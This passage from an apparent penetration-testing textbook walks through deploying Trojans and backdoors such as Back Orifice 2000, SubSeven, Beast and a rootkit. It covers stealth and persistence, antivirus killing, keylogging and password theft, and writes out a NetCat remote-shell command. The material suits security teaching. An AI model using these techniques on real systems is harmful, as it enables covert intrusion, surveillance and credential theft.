organization, they are not \ncommon tools employed by a penetration tester. Trojan horses, however, are often used as \nproof of concept tools to demonstrate gaining and maintaining access to compromised \ntarget systems.\nThis section covers the following Trojan horse and backdoor applications:\n•\nBack Orifice 2000\n•\nNetCat\n•\nTini\n•\nRootkit\n•\nDonald Dick\n•\nSubSeven\n•\nBrown Orifice\n•\nBeast\nBack Orifice 2000\nBack Orifice 2000 (BO2K) is a client-server remote administration tool (RAT) created by \nthe Cult of the Dead Cow (www.cultofdeadcow.com). Founded in 1984, the Cult of the \nDead Cow (cDc) is a hacktivist organization based out of Lubbock, Texas whose goal is to \npromote security awareness. \nBack Orifice 2000 was written by DilDog, a member of cDc. It is the successor to Back \nOrifice. BO2K supports the following features:\n•\nKeystroke logging\n•\nRegistry editing\n•\nFile transfers\n•\nCommand shells\n•\nProcess control\n•\nRemote shutdown and reboot\n" }, { "page_number": 406, "text": "Trojans and Backdoors 379\n•\nPassword dumping\n•\nScreen capture\n•\nMouse and keyboard control\n•\nEncrypted communication\nBO2K is composed of three main files:\n•\nbo2k.exe\n•\nbo2kcfg.exe\n•\nbo2gui.exe\nThe bo2k.exe file is the main Trojan executable. To remotely control your target system, \nyou must first have this executable copied and loaded. One of the advantages of Back \nOrifice 2000 is the capability to delete the bo2k.exe file and hide it after it is running. This \nstealth capability means that a server administrator cannot see this program listed in \nWindows task manager. \nThe second file, bo2kcfg.exe, is the Back Orifice 2000 server configuration utility. This \nutility configures your Trojan server with such options as port number, encryption \nalgorithm, and various stealth features.\nBegin by launching the executable and choosing Open Server. Then choose the bo2k.exe \nserver executable, as shown in Figure 12-1.\nFigure 12-1\nBack Orifice 2000 Server Configuration\n" }, { "page_number": 407, "text": "380\nChapter 12: Using Trojans and Backdoor Applications\nNext, you need to install and configure the plug-ins. Plug-ins allow for new features to be \nadded to Back Orifice 2000 without the need to release a new version. Figure 12-2 \ndemonstrates installation of the authentication plug-in.\nFigure 12-2\nInstalling the Authentication Plug-In\nYou can download plug-ins from http://www.bo2k.com. This website divides the available \nplug-ins into the following categories:\n•\nEncryption plug-ins\n•\nAuthentication plug-ins\n•\nServer enhancement plug-ins\n•\nClient enhancement plug-ins\n•\nCommunications plug-ins\n•\nMiscellaneous plug-ins\nEncryption is advantageous because of its capability to mask what you are doing. A server \nadministrator who has a packet sniffer cannot detect what you are doing on the target server. \nAlso, encrypting your communication makes it more difficult to detect with an IDS device. \nEncryption options include AES, Serpent, CAST-256, and IDEA.\nAt press time, there is only one authentication plug-in, and it comes with the program. The \nauthentication plug-in allows you to use a password with Back Orifice 2000.\n" }, { "page_number": 408, "text": "Trojans and Backdoors 381\nSeveral server plug-ins are available. Most provide a means of notifying you after the \nTrojan is installed on a remote system. For example, the Rattler plug-in notifies you via e-\nmail of the IP address of the target system that is running the Trojan. This is helpful in \nenvironments that are running Dynamic Host Configuration Protocol (DHCP), where the \nIP address of systems change frequently. The SimpleRicq plug-in notifies you via the \nInternet Relay Chat (IRC) instead of e-mail, and the Rcgi plug-in notifies you on a web \npage via a CGI script.\nAt press time, only one client enhancement plug-in is available: BoTool. BoTool provides \na graphical file browser and registry editor that makes common tasks easier by using a \nsimplified user interface.\nCommunications plug-ins entail what transport layer protocol and port you want to use for \nyour communication. Options include Transmission Control Protocol (TCP), User Datagram \nProtocol (UDP), and encrypted TCP. The encrypted TCP plug-in provides an encrypted flow \ncontrol mechanism to make BO2K TCP traffic harder to detect. Upon adding the TCP or UDP \ncommunication plug-in, you need to configure what port number you want to communicate \nin. There are settings you need to set to configure the port number. \nGo to the startup option and choose the Init Cmd Bind Str setting. Type the value of the \nport number you want to use and click the Set Value button, as illustrated in Figure 12-3. \nYou can choose whatever port number you want in this setting. In Figure 12-3, the port \nnumber 31337 is chosen, which is the port number that the original Back Orifice used.\nFigure 12-3\nBO2K Init Cmd Bind Str\nThe second place you need to set the port number is under the TCP or UDP options. (TCP \nis used in this example.) Select the Default Port setting, type the port number, and click the \nSet Value button, as shown in Figure 12-4.\n" }, { "page_number": 409, "text": "382\nChapter 12: Using Trojans and Backdoor Applications\nFigure 12-4\nBO2K TCP Settings\nFinally, the miscellaneous plug-ins include BoPeep and LoveBeads. They are labeled \nMiscellaneous because they do not fall into any of the other categories. BoPeep is a popular \nplug-in because it allows you to see a streaming video of the machine’s screen that the \nserver is running on. It also allows you to control the victim’s keyboard and mouse. \nLoveBeads allows you to chain several Back Orifice 2000-infected computers. With \nLoveBeads, you can connect to one infected computer and use it as a proxy to connect to \nother computers.\nSome other options will probably be of interest to you that are not part of any plug-in but \nare part of the default installation of Back Orifice 2000. One of these is the Stealth option, \nthe settings for which are shown in Figure 12-5.\nYou might want to enable three settings to provide added stealth. Remember: As a \npenetration tester, you are concerned not only with what you are able to do to your target \nof evaluation, but also with what you are able to do without being detected. Therefore, \nstealth is always important in your testing.\nThe first of these options is the Run at startup option. Although this is not necessarily a \nStealth setting, this option does execute the Trojan when Windows starts up. Without this \noption, you need to have some other mechanism of launching the bo2k.exe executable \nevery time Windows starts up. \nThe second useful option is Delete original file. This provides added stealth by deleting the \nbo2k.exe file after you load the Trojan into memory.\nThe third useful option is Hide process. Without this option, Back Orifice 2000 shows up \nin the Windows Task Manager. This makes it easy to detect and, subsequently, easy to stop. \n" }, { "page_number": 410, "text": "Trojans and Backdoors 383\nHowever, with the Hide process option selected, this Trojan does not show up, hiding it \nfrom unsuspecting administrators.\nFigure 12-5\nBO2K Stealth Options\nYou can also choose Insidious mode. Insidious mode causes Back Orifice to rename itself \nso that Windows Explorer cannot see the file correctly. Bo2k adds 254 spaces to the beginning \nof the filename so that Windows Explorer does not correctly display the filename.\nAfter your options are configured, you should select Save Server to save your \nconfiguration. (See Figure 12-6.)\nFigure 12-6\nBO2K Save Configuration\n" }, { "page_number": 411, "text": "384\nChapter 12: Using Trojans and Backdoor Applications\nNext, run the bo2k.exe executable on the target machine. \nNow that the Trojan is running, you can connect to your target computer by using the Back \nOrifice 2000 client application. Figure 12-7 shows the client utility called bo2kgui.exe. \nFigure 12-7\nBo2kgui.exe Back Orifice 2000 Client Utility\nBefore you can connect to your target computer, you must configure the appropriate plug-\nins, as you did with the server configuration tool earlier. To do this, select the Plugins menu \nand choose Configure, as shown in Figure 12-8.\nFigure 12-8\nBO2K Client Plugins Option\n" }, { "page_number": 412, "text": "Trojans and Backdoors 385\nClick the Insert button to insert the plug-ins. (See Figure 12-9.) With the exception of \nserver enhancement plug-ins, you should include all the plug-ins that you selected earlier \nwith the Bo2kcfg.exe server configuration utility. \nFigure 12-9\nBO2k Client Plugins Installation\nNext you need to connect to your target machine. From the File menu, select New Computer, \nand enter a name, IP address, and port number of your target computer. Figure 12-10 uses \nTCP port 31337 (the same port you configured on the server earlier). Note that you enter \nthe port number immediately after the IP address in the format of ip address:port number.\nDouble-click on the new server listed under Machines in the BO2K workspace window to \nbring up the window in Figure 12-11. Select the Connect button to connect to the target \nsystem.\n" }, { "page_number": 413, "text": "386\nChapter 12: Using Trojans and Backdoor Applications\nFigure 12-10\nBO2K Server Settings\nFigure 12-11\nBO Server Connection Window\nWhen you are connected to the server, you can control the server using the options in the \nServer Commands window. By clicking on the Server Control option, as shown in Figure \n12-12, you can remotely shut down and restart the server; load, debug, list, and remove \nplug-ins; and start, list, and stop command sockets.\n" }, { "page_number": 414, "text": "Trojans and Backdoors 387\nFigure 12-12\nBO Server Control Options\nUnder the Registry option, you see the options shown in Figure 12-13. With these options, \nyou can add, delete, and rename keys and key values in the Windows registry.\nFigure 12-13\nBO Registry Control\n" }, { "page_number": 415, "text": "388\nChapter 12: Using Trojans and Backdoor Applications\nIf you want to see the files on your target system and download the file locally, go to File/\nDirectory options, as shown in Figure 12-14. Here you can create new directories, delete \nfiles, and even upload files to the remote target machine, to name just a few options.\nFigure 12-14\nBO Server File/Directory Options\nAs an example, you can select List Directory, type a path such as C:\\, and click the Send\nCommand button. This produces a directory listing in the bottom pane, as shown in \nFigure 12-15.\nBack Orifice 2000 has many other options. You should experiment with the various options \nand plug-ins available to find those that will help you in your testing. Remember, however, \nthe ultimate goal in penetration testing: to assess the security posture of a target network. \nAlthough options such as LoveBeads and BoPeep are helpful for malicious hackers, they \nare not as helpful for penetration testers. What you are attempting to do is show proof of \nconcept on the vulnerability of a server. If the system is vulnerable and you are able to \ndownload, upload, and delete files, you have demonstrated that the target system is \nsusceptible to Trojans. You have to assess whether you need to attempt every useable option \nin Back Orifice 2000.\nHaving so many options is certainly advantageous, but the drawback is in the amount of \nconfiguration that you need to do both with the client and server configuration utility. As an \nalternative, you might want to look at simpler remote access Trojans.\n" }, { "page_number": 416, "text": "Trojans and Backdoors 389\nFigure 12-15\nBO Server List Directory Example\nTini\nOne simpler RAT tool is Tini. Tini is not only simpler to use than a tool like Back Orifice \n2000, but it is also much smaller. Remember: As a penetration tester, you want to see how \nmuch you can do without being detected, and using a smaller Trojan makes it less likely of \nbeing detected. Tini, as its name implies, is a small RAT (only 3 KB in size). You can \ndownload Tini at http://ntsecurity.nu/toolbox/tini.\nHaving such a small size comes at a price, however. It is limited in functionality. After \nexecuting the Tini program on a target system, you can Telnet to the system on TCP port \n7777. Using Telnet gives you a remote shell on your target system through which you can \nlist directories or launch programs. This is limited in comparison to BO2K, but it is simpler \nto use and easier to get installed without being seen because of its small size.\n" }, { "page_number": 417, "text": "390\nChapter 12: Using Trojans and Backdoor Applications\nDonald Dick\nDonald Dick is a Trojan that is both simple to use and highly functional. With Donald Dick, \nyou can do the following:\n•\nView processes\n•\nView the file system\n•\nUpload and download files\n•\nExecute programs\n•\nView the registry\n•\nCreate new registry entries\n•\nView and kill processes\n•\nRetrieve screensaver and Complimentary Metal Oxide Semiconductor (CMOS) \npasswords\n•\nView and change the system time\n•\nGet a screenshot of the target system\n•\nOpen and close the CD-ROM tray\n•\nTurn the monitor on or off \n•\nShut down or reboot the computer\n•\nLog off the current user\n•\nSend a message\n•\nPlay a WAV file\nLike most remote access Trojans, Donald Dick has both a client utility and a server utility. \nCopy the server utility onto your target system and run it. Next, run the client utility, shown \nin Figure 12-16.\nFigure 12-16\nDonald Dick Client Utility\n" }, { "page_number": 418, "text": "Trojans and Backdoors 391\nEnter the IP address of your target system and then select the tab containing the function \nyou want to attempt. For example, you can click on the File System tab and view the \ndirectory listing, as shown in Figure 12-17.\nFigure 12-17\nDonald Dick Directory Listing\nBy right-clicking in this window, you can upload, download, and delete files and \ndirectories. You can even execute programs remotely.\nIf you want to view the registry of your target system, click the Registry tab, as shown in \nFigure 12-18. Here, you can drill down into the registry settings. Figure 12-18 shows \ndrilling down into the HKEY_LOCAL_MACHINE\\SOFTWARE key. \nFigure 12-18\nDonald Dick Registry Tab\nBy right-clicking in this window, you can change, delete, or add a new registry value. (See \nFigure 12-19.) For example, you can add a new string value to the \n" }, { "page_number": 419, "text": "392\nChapter 12: Using Trojans and Backdoor Applications\nHKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERS\nION\\RUN key to make the Donald Dick server executable load on Windows startup.\nFigure 12-19\nAdding a Registry Value\nBy clicking on the Windows tab, you can view all the current windows that are running on \nthe target system. For example, in Figure 12-20, you can see that two MS-DOS command \nprompts are open (C:\\windows\\system32\\cmd.exe). \nFigure 12-20\nDonald Dick Windows Tab \nAs a penetration tester, it might not be that beneficial to know what windows are currently \nactive on a server. What is helpful in a penetration test is being able to retrieve the \npasswords of your target system. You can do this by clicking Donald Dick’s Passwords tab, \nas shown in Figure 12-21. You can get the screensaver password on Windows 95 and \nWindows 98 computers (and change it) and even get the CMOS password for common \nCMOS programs.\n" }, { "page_number": 420, "text": "Trojans and Backdoors 393\nFigure 12-21\nDonald Dick Passwords Tab\nClicking on the Miscellaneous tab (see Figure 12-22) offers numerous other options. Here \nyou can cause the system to shut down or reboot, log off the current user, open or close the \nCD-ROM tray, and turn the monitor on or off. You can even capture a screenshot of the \ncomputer by clicking the ScreenShot button. (The screenshot is stored locally as \nshot$$$.bmp.) \nFigure 12-22\nDonald Dick Miscellaneous Tab\nThe Miscellaneous tab also offers the capability to send the target system a pop-up \nmessage. You can use this for social engineering purposes. For example, you can have a \npop-up message asking the user to confirm information. (See Figure 12-23.)\n" }, { "page_number": 421, "text": "394\nChapter 12: Using Trojans and Backdoor Applications\nFigure 12-23\nDonald Dick Message Box\nFinally, you can gain information about the location of Windows system files, the computer \nname, and the current logged on user by clicking Get Sysinfo from the System tab. (See \nFigure 12-24.) This is useful in enumerating user and system information in preparation for \nlaunching further attacks.\nFigure 12-24\nDonald Dick System Tab\nDonald Dick is a feature-rich client-server Trojan application. It does not have a way of \nhiding itself, however. It shows up in Task Manager as pmss.exe on Windows NT/2000/\n2003 systems. \n" }, { "page_number": 422, "text": "Trojans and Backdoors 395\nRootkit\nOne way to hide files on your target system is to use the NT/2000 Rootkit. This is a kernel \nmode driver that allows you to hide processes, files, and registry entries. Rootkit has two \nmain files:\n•\n_root_.sys\n•\ndeploy.exe\nYou need to copy both of these files to the target system. After you have copied them, \nexecute the deploy.exe executable, which loads _root_.sys into memory. When this is \nloaded, you can delete the deploy.exe program. \nRootkit hides all files that begin with _root_ when the rootkit is started. To run the rootkit, \ntype net start _root_. To stop the rootkit, type net stop _root_. \nFor example, if you want to hide a Trojan utility called server.exe, you can rename it to \n_root_server.exe. After you type net start _root_, the Trojan executable is hidden from \nview. Directory listings do not show the program. \nRootkit is an excellent way to hide programs such as Trojans on your target machine. \nNOTE\nAnother utility that works similarly to the NT/2000 Rootkit is Fu (http://www.rootkit.com). \nInstead of deploy.exe and _root_.sys, it uses fu.exe and msdirectx.sys.\nNetCat\nNetCat is known as the Swiss-army knife of hacking. You can use it to gain access to a \nremote shell (like other remote access Trojans), scan ports, perform banner grabbing for \nreconnaissance purposes, and transfer files. \nFor the purposes of this chapter, this section covers using NetCat to shovel a remote shell \nand transfer files. \nTo shovel a remote shell, copy the NetCat nc.exe executable to the target machine and run \nthe following command:\nc:\\nc –l –p 1111 –e cmd.exe –d\nSeveral switches are used in this example:\n•\n-l—This switch tells NetCat to begin listening for connections. This switch is used \nonly on the target system.\n•\n-p 1111—This switch tells NetCat to begin listening on port 1111. You can specify \nany port you want.\n" }, { "page_number": 423, "text": "396\nChapter 12: Using Trojans and Backdoor Applications\n•\n-e cmd.exe—This switch tells NetCat to execute the command cmd.exe (command \nshell). You can instruct NetCat to execute any command you want.\n•\n-d—This command tells NetCat to run in daemon mode.\nNext, you need to start NetCat on your computer. Assuming your target is 192.168.1.29 and \nyour port number is 1111, execute the following command:\nc:\\nc 192.168.1.29 1111\nLook at Figures 12-25 and 12-26 for an example of using NetCat to shovel a remote shell. \nIn this example, you connect to a remote computer on port 1111 and create a directory \ncalled hacked.\nFigure 12-25\nNetCat Target\nFigure 12-26\nNetCat Client\n" }, { "page_number": 424, "text": "Trojans and Backdoors 397\nOf course, many environments deploy firewalls that limit what ports you can use. However, \nsome ports are commonly allowed in. TCP port 80 (HTTP/web), TCP port 53 (DNS zone \ntransfers), and TCP port 25 (SMTP) are commonly allowed inbound. Even if the server is \nrunning a service like a web server, DNS server, or e-mail server, you can still use NetCat \nto connect into that port. If you use port 80, for example, the first NetCat connection gives \nyou a remote shell, but all subsequent connections connect you to the web server.\nThe second Trojan use of NetCat is to upload and download files from a remote system. For \nthis example, NetCat is used to upload a file called secret.txt to the target server. First, load \nNetCat in listener mode on port 1111. Specify that you are waiting to receive a file called \nsecret.txt. (See Figure 12-27.) \nFigure 12-27\nNetCat Target\nNext, send the file secret.txt to the server. (See Figure 12-28.)\nFigure 12-28\nNetCat Client\n" }, { "page_number": 425, "text": "398\nChapter 12: Using Trojans and Backdoor Applications\nTo verify that NetCat indeed copied the file, reconnect into the target server and view the \nfile using the type command. (See Figure 12-29.) The file contains the text “You’ve been \nhacked by NetCat!”\nFigure 12-29\nNetCat Verification\nBecause NetCat is executed from the command line, it can be tied into a scripted attack. It \nis also small (about 60 KB), making it easy to upload and run without being detected. \nNetCat has many features and is definitely a tool you should have in your penetration \ntesting “toolbelt.”\nTIP\nFor added stealth, you might want to use Cryptcat. Cryptcat, developed by Farm9, takes the \noriginal NetCat for Windows and adds Twofish encryption. Encrypting your NetCat \ncommunication makes it less likely for packet sniffers and IDS to detect it.\nSubSeven\nSubSeven is a powerful Trojan created by FuX0red that is available at http://www.sub7.net. \nFour files are included in the SubSeven package:\n•\nSubseven.exe—This is the client application you can use to remotely control your \ntarget system.\n•\nServer.exe—This is the server executable you need to copy and execute on your target \nhost.\n•\nEditserver.exe—This is the file you use to configure server.exe.\n•\nIcgmapi.dll—This DLL is necessary only if you want to use the ICQ features of \nSubSeven.\n" }, { "page_number": 426, "text": "Trojans and Backdoors 399\nSubSeven has similarities to Back Orifice 2000 in that it has a client, server, and server \nconfiguration utility. You should begin by opening the server configuration utility \n(Editserver.exe), as shown in Figure 12-30.\nFigure 12-30\nSubSeven Editserver.exe\nClick the browse button and select the server (server.exe). Then select the read current \nsettings button to import the current server.exe configuration. Usually the default settings \nare acceptable, but you might want to change a few. You can break down the server settings \ninto the categories shown in Table 12-1.\nTable 12-1\nSubSeven Server Settings \nCategory\nDescription\nStartup method(s)\nUse this to control how SubSeven starts. Popular options include adding it \nto the RunService or Run key in the Windows registry. The key name \nrepresents how it is to appear in the registry.\nNotification options\nThese options detail how you want to be notified of an infected host. You \ncan choose to be notified via e-mail, ICQ, or IRC.\nProtect server\nYou can add a password so that others cannot edit it using the Server edit \nutility. Note that this is different from the password in the installation \noptions.\nInstallation\nHere you can choose what port you want SubSeven to use. (The default is \n27374.) You can also set a password so that you can only connect with the \ncorrect password. (This is different from the password in the protect server \noptions.) You can also enable a fake error message to appear when the \nTrojan is executed on the server to lead unsuspecting users away from \nthinking a Trojan is being installed. \n" }, { "page_number": 427, "text": "400\nChapter 12: Using Trojans and Backdoor Applications\nThe installation section has an option to bind the Trojan to another executable (bind server \nwith EXE file ?). Binding, or wrapping, a Trojan into another executable is a way to hide \nthe file from unsuspecting users. You can wrap the Trojan around a legitimate executable \nsuch as Notepad.exe, and when the user launches the program, the Trojan is installed. \nTIP\nThe author of the Trojan, FuX0red, recommends that you use another program to bind it. \nSome tools to wrap your Trojan into another .exe file include OblivionJoiner (http://\nwww.oblivionrat.com), and Exebinder (http://www.elitec0ders.net).\nAfter you have configured the server to your liking, press the save new settings button. \nNext, copy the executable to your target host and launch it. Use the SubSeven client \napplication to connect to the remote host. (See Figure 12-31.)\nFigure 12-31\nSubSeven Client Utility\nThe SubSeven Trojan has many functions that you can run against your infected target. \nThese functions are broken down into the categories shown in Table 12-2.\nTable 12-2\nSubSeven Features \nCategory\nFeatures\nConnection\nIP Scanner, Get PC Info, Get Home Info, Server Options, IP Notify\nKeys/messages\nKeyboard, Chat, Matrix, Msg Manager, Spy, ICQ Takeover\nAdvanced\nFtp/Http, Find Files, Passwords, Reg Edit, App Redirect, Port Redirect\nMiscellaneous\nFile Manager, Window Manager, Process Manager, Text-2-speech, Clipboard \nManager, IRC Bot\n" }, { "page_number": 428, "text": "Trojans and Backdoors 401\nAlthough numerous options are available with SubSeven, this section highlights some of \nthe more interesting ones, such as the following:\n•\nIP Scanner\n•\nGet PC Info\n•\nKeyboard Logging\n•\nChat\n•\nMatrix Screensaver\n•\nMsg Manager\n•\nFind Files\n•\nPasswords\n•\nReg Edit\n•\nFile Manager\n•\nWindow Manager\n•\nProcess Manager\n•\nClipboard Manager\n•\nDesktop/Webcam\n•\nFlip Screen\n•\nBrowser\n•\nRestart Win\n•\nMouse\n•\nExtra Features\nThe IP scanner, shown in Figure 12-32, scans a subnet range for hosts who have been \ninfected with the SubSeven Trojan. To prevent raising IDS alarms, you can change the delay \ntime. (The default is four seconds.)\nCategory\nFeatures\nFun manager\nDesktop/Webcam, Flip Screen, Print, Browser, Resolution, Win Colors\nExtra fun\nScreen Saver, Restart Win, Mouse, Sound, Time/Date, Extra\nLocal options\nQuality, Local Folder, Skins, Misc Options, Advanced, Run EditServer\nTable 12-2\nSubSeven Features (Continued)\n" }, { "page_number": 429, "text": "402\nChapter 12: Using Trojans and Backdoor Applications\nFigure 12-32\nSubSeven IP Scanner\nAs shown in Figure 12-33, the get pc info option is under the connection tab. By clicking \nthe retrieve button, you can pull information about the computer name, username, OS \nversion, location of system files, and more. This is helpful when performing reconnaissance \non your target system. \nFigure 12-33\nSubSeven Get PC Info\nYou can find the keyboard option, shown in Figure 12-34, under the keys/message tab. \nThis option runs a remote keylogger on your target host. You can log all keys typed by users, \nsend keys yourself, and even disable the keyboard. \n" }, { "page_number": 430, "text": "Trojans and Backdoors 403\nFigure 12-34\nSubSeven Keyboard Option\nWhen you choose to send keys to the remote target host, you can also choose which active \nprogram to send the text to. (See Figure 12-35.) The program must be actively running on \nthe target and be able to accept text input. Word processors are the best option for sending \nkeys. In Figure 12-35, the message “You’ve been hacked!” is sent to the Notepad \napplication on the target host. (See Figure 12-36.)\nFigure 12-35\nSubSeven Send Keys Option\n" }, { "page_number": 431, "text": "404\nChapter 12: Using Trojans and Backdoor Applications\nFigure 12-36\nSubSeven Send Keys Result\nThe chat option shown in Figure 12-37 allows you to launch a chat window with the logged \nin user on the target system. You can imagine the surprise on an unsuspecting user when a \nwindow pops up asking to chat with him. You can choose the size of the popup chat window, \nthe colors, and the font sizes. You can even choose to chat with other SubSeven clients.\nFigure 12-37\nSubSeven Chat Options\nSubSeven even has the capability to activate a Matrix screensaver on the remote machine. \n(See Figure 12-38). This is a malicious hacker’s way of showing that he has “owned” the \nbox. You can type text to be displayed when the screensaver is activated, such as “you’ve \nbeen hacked.” \n" }, { "page_number": 432, "text": "Trojans and Backdoors 405\nFigure 12-38\nSubSeven Matrix Feature\nThe msg manager feature shown in Figure 12-39 allows you to send a message to the \nremote infected host. The response from the user is sent back to you. You can use this as a \nsocial engineering tool to ask for information such as passwords from unsuspecting users.\nFigure 12-39\nSubSeven Msg Manager Feature\nAlso under the advanced tab is the find files feature (see Figure 12-40), which allows you \nto search the hard drive of the remote host for files. This assists you in searching for \nimportant files that might be of value to the administrators of the target machine. For \nexample, you can use this to search for the SAM file, which contains a list of all accounts \nand hashed passwords. SubSeven even saves a list of files it finds so that you can review the \nlist later. Click show previously found files to see this cached list. (Because the SAM is \n" }, { "page_number": 433, "text": "406\nChapter 12: Using Trojans and Backdoor Applications\nunavailable while it is in use, you should look for the copy of the SAM file in the Repair \ndirectory.)\nFigure 12-40\nSubSeven Find Files Feature\nAs a penetration tester, you should be actively looking for ways to gather passwords from your \ntarget system. SubSeven can assist you with this using its passwords feature under the \nadvanced tab. (See Figure 12-41.) Here you can get any cached passwords that are currently \nstored in RAM, recorded passwords, RAS, ICQ, and AOL Instant Messenger passwords. \nFigure 12-41\nSubSeven Password Retrieval Feature\nThe reg edit feature, also under the advanced tab, allows you to remotely edit the registry \nof your target system. This is helpful in several ways. You can use this to get the SIDs and \n" }, { "page_number": 434, "text": "Trojans and Backdoors 407\nnumber of users from the HKEY_USERS hive key, see what software is installed on the \nsystem by examining the HKEY_LOCAL_MACHINE/SOFTWARE key, or add a key to \nhave Windows start a program upon startup in the \nHKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERS\nION\\RUN key. Figure 12-42 demonstrates drilling down into specific keys. Note that \nSubSeven allows you not only to view the remote registry, but also to change, delete, or add \nnew keys and values.\nFigure 12-42\nSubSeven Reg Edit Feature\nYou can find the file manager feature under the miscellaneous tab. (See Figure 12-43.) The \nfile manager is filled with numerous features, including the capability to do the following:\n•\nUpload and download files\n•\nDelete files\n•\nPrint files\n•\nEdit files\n•\nGet the size of files\n•\nPlay WAV files\n•\nView .jpg images\n•\nExecute files\n•\nChange the desktop wallpaper\n" }, { "page_number": 435, "text": "408\nChapter 12: Using Trojans and Backdoor Applications\nFigure 12-43\nSubSeven File Manager\nThe windows manager (see Figure 12-44) allows you to see all the active windows running \non the remote host. You can even close programs running on the remote host, causing a DoS \nattack. Be sure to click show all applications to see all applications that are running on \nyour target.\nFigure 12-44\nSubSeven Windows Manager Feature\n" }, { "page_number": 436, "text": "Trojans and Backdoors 409\nSomewhat related to the windows manager is the process manager, shown in Figure 12-\n45. Here you can see the underlying processes that applications are using. You can even \nchange the priority of a process to make it gain more or less resources than other processes. \nAvailable priorities include Realtime, High, AboveNormal, Normal, BelowNormal, and \nLow. If you want to perform a DoS attack and stop processes, you can click on the process \nyou want to stop and click the kill app button. \nFigure 12-45\nSubSeven Process Manager Feature\nUsers often copy and paste text using the Windows clipboard feature so that they do not \nhave to retype the same text again. Using the SubSeven clipboard manager found under \nthe miscellaneous tab (see Figure 12-46), you can view what is currently in the clipboard. \nOf course, this requires that information be in the clipboard. You can also use the clipboard \nmanager to change what is currently in the clipboard. A user might copy text that says, \n“This is important information that should be secure.” Then, using the SubSeven Clipboard \nManager, you can change this to read, “You’ve been hacked!” When the user pastes the text \ninto his word processor, he does not see the text he copied but instead sees what you placed \nin the clipboard: the message, “You’ve been hacked!” \n" }, { "page_number": 437, "text": "410\nChapter 12: Using Trojans and Backdoor Applications\nFigure 12-46\nSubSeven Clipboard Manager\nUnder fun manager are numerous fun tools that, although not necessarily useful to \npenetration testers, are commonly used by malicious hackers. The first of these options \nunder the fun manager tab is the desktop/webcam feature shown in Figure 12-47. Here \nyou can open a screen preview of what the user on the target system is looking at, perform \na full screen capture, or perform a webcam/quickcam capture. \nA Spanish student by the initials of G.J.A.L. used the webcam capture utility in January \n2002 to spy on a woman by capturing webcam images of her while she sat in front of the \ncomputer. He then took the images and e-mailed them to his friends. He was caught when \nhe accidentally sent a picture of the girl to her when he meant to send it to a friend. He was \narrested and fined 3000 euros for the crime.\nFigure 12-47\nSubSeven Desktop/Webcam Capture\n" }, { "page_number": 438, "text": "Trojans and Backdoors 411\nThe fun manager and the extra fun tab have many other options that malicious hackers \nuse as pranks or to notify their victims that they are under attack. Table 12-3 illustrates the \nvarious options available under these tabs.\nBrown Orifice\nBrown Orifice, named after Back Orifice and written by Dan Brumleve, is a Trojan that \nexploits a Java security hole in the Netscape web browser versions 4.0 through 4.74. When \nan unsuspecting user browses to a site with the Brown Orifice Java applet, his computer \nbecomes infected with the Trojan. His computer then becomes a web server listening on \nTCP port 8080 and allows others to access all files on his hard drive. You can access files \nthrough the web browser by using the file:// URL syntax. For example, to see the files at the \nroot of a hard drive on an infected computer with the IP address of 192.168.1.29, type this: \nfile:///192.168.1.30:8080/c:/\nTable 12-3\nFun Manager and Extra Fun Options\nTab\nOption\nDescription\nFun manager\nDesktop/webcam\nTakes a screen capture.\nFlip screen\nFlips screen vertically or horizontally.\nPrint\nCauses text that the hacker chooses to be printed to the \ndefault printer on the victim machine.\nBrowser\nOpens a web browser on the computer of the victim to a \nweb page that the malicious hacker chooses.\nResolution\nChanges the resolution settings on the victim computer.\nWin colors\nChanges the number of colors supported by the victim \nmachine.\nExtra fun\nScreen saver\nChanges the screensaver on the victim machine.\nRestart win\nPerforms a simple DoS attack by shutting down Windows, \nlogging off the current user, or rebooting the system.\nMouse\nControls the mouse of the victim machine. Allows you to \nreverse mouse buttons, hide the mouse pointer, control the \nmouse, set the mouse trail size, or hide the mouse trails \n(commonly used on laptops).\nSound\nChanges the default sounds.\nTime/date\nChanges the time and date on the victim computer.\nExtra\nAllows you to hide/show the desktop, start button, or \ntaskbar; opens/closes the CD-ROM tray; turns on/off the \nmonitor, ctrl-alt-delete, caps lock, scroll lock, num lock; \nstarts/stops the speaker.\n" }, { "page_number": 439, "text": "412\nChapter 12: Using Trojans and Backdoor Applications\nBrown Orifice runs only as long as the Java Virtual Machine is active. This is usually active \nonly when the web browser is running, so when the user closes his Netscape web browser, \nthe Trojan is stopped (until the web browser is started again). \nBeast\nBeast is a remote administration Trojan written in Delphi by Tataye at Fearless Crew http:/\n/www.tataye.tk). Beast is unique from other Trojans in that the client, server, and server \nconfiguration utility are all in one executable. \nBeast caught media attention in October 2003 when Van Dinh was arrested after using the \nBeast Trojan to capture keystrokes of an investor accessing an online brokerage website. It \nis estimated that Van Dinh, who was 19 at the time, caused more than $37,000 worth of \ndamage.\nThe Beast executable, shown in Figure 12-48, has two main sections:\n•\nServer settings\n•\nClient\nFigure 12-48\nBeast Executable\nBeast Server Settings\nTo access these server settings, click on the Build Server button. You can configure six \nareas, as described in Table 12-4.\n" }, { "page_number": 440, "text": "Trojans and Backdoors 413\nFigure 12-49 shows the first of these options, the Basic server settings. \nFigure 12-49\nBeast Basic Server Settings\nFirst, enter the name of the server and, optionally the password you want to use to connect \nto the server. Some malicious hackers use passwords to prevent other malicious hackers \nfrom using the Trojan. When picking a name, choose one that mimics a Windows \nexecutable, such as svchost.exe. This provides stealth, because systems administrators who \nsee a program such as svchost.exe running would have no way of knowing that a Trojan was \nrunning. However, do not put the Trojan in the same directory as the legitimate executable, \nbecause it would overwrite the system file. You have two locations to place the Trojan: in \nthe Windows directory, or in the Windows/system directory. If the legitimate file is in the \nWindows directory, choose the Windows/system directory. Likewise, if the legitimate file \nis in the Windows/system directory, place the Trojan in the Windows directory.\nNext, you need to configure the server to use either direct connection or reverse \nconnections. With a direct connection, you manually enter the IP address of the infected \nTable 12-4\nBeast Server Settings\nSetting\nOptions\nBasic\nSet the server name, port, and password. Also select how you want to package \n(bind) the Trojan and in what directory you want to place it.\nNotifications\nConfigure how you want to be notified of an infected host. Options include CGI, \ne-mail, ICQ, and static IP notification (SIN). \nStartUp\nConfigure how you want the Trojan started when Windows loads. Options \ninclude ActiveX, HKey Local Machine, and HKey Current User.\nAV-FW Kill\nConfigure Beast to stop any anti-virus or firewall applications.\nMisc.\nConfigure keylogging, fake error messages, and other options.\nExe Icon\nConfigure the icon that the Beast server uses.\n" }, { "page_number": 441, "text": "414\nChapter 